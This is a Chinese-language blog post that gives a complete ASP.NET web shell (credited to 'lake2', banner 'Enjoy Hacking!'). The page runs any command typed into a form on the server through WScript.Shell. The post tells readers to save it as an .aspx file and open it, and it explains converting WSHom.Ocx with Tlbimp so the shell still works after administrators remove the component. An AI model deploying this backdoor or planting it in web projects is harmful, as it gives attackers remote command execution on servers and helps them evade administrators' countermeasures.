ASP.NET 使用 WScript.Shell 執行命令 (Server)

注意ASP.NET与ASP语法上的细微差别就可以了。直接给出代码如下:(如轉換至C#語言就不行了哦,已試過!)

<%@ Page Language="VB" AutoEventWireup="true" ValidateRequest="false" AspCompat="true" %>

<script runat="server">

Public Sub runcmd(ByVal Src As Object, ByVal E As EventArgs)
Dim StrResult As String
Dim CMDShell As Object
CMDShell = Server.CreateObject("WScript.Shell")
StrResult = CMDShell.eXec(CMDPath.Text & " /c " & CMDBox.Text).stdout.readall
'StrResult = Replace(StrResult, "<", "<")
'StrResult = Replace(StrResult, ">", ">")
ResultLabel.Text = "<pre>" & StrResult & "</pre>"
End Sub

</script>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>WSH.SHell For ASP.NET By lake2</title>
</head>
<body>
<form id="form1" runat="server">
<hr />
<table border="3" cellpadding="2" cellspacing="0" width="90%">
<tr>
<td align="center" bgcolor="#000046">
<font color="#FF0000">Server WScript.Shell 對象</font>
</td>
</tr>
<tr>
<td width="100%">
"cmd.exe"'s path:
<asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" />
<br>
Your Command:
<asp:TextBox ID="CMDBox" Width="200" runat="server" />
<asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />
<br>
<asp:Label ID="ResultLabel" runat="server" />
<div align="center">
———– <font color="#0000FF">Enjoy Hacking!</font> ———–
</div>
</td>
</tr>
</table>
</form>
</body>
</html>


保存为aspx文件,访问之,即可。

将COM组件转化为.NET组件
微软给我们提供了类型库导入器(Type Library Importer),经过它的转换,我们就可以使用COM组件了。转换之后,会有一个dll文件,需要放到Web目录的bin目录下组件才可以被使用。
虽然这样多了一个dll,但是这个dll不需要注册就可直接使用,非常方便,这也是ASP.NET与ASP的区别之一。哈哈,有的BT管理员没事要删除“有害”的组件,现在他也没办法了吧^_^
WScript.Shell对象是%windir%\system32\WSHom.Ocx,我们把它copy出来拿给类型库导入器转换:Tlbimp.exe WSHom.Ocx /out: WSHomx.dll
然后把WSHomx.dll放到WEB目录的bin下面。接着写代码咯,与前面的代码有少许不同。

相關資源 : http://www.microsoft.com/taiwan/technet/scriptcenter/resources/qanda/oct05/hey1031.mspx

沒有留言: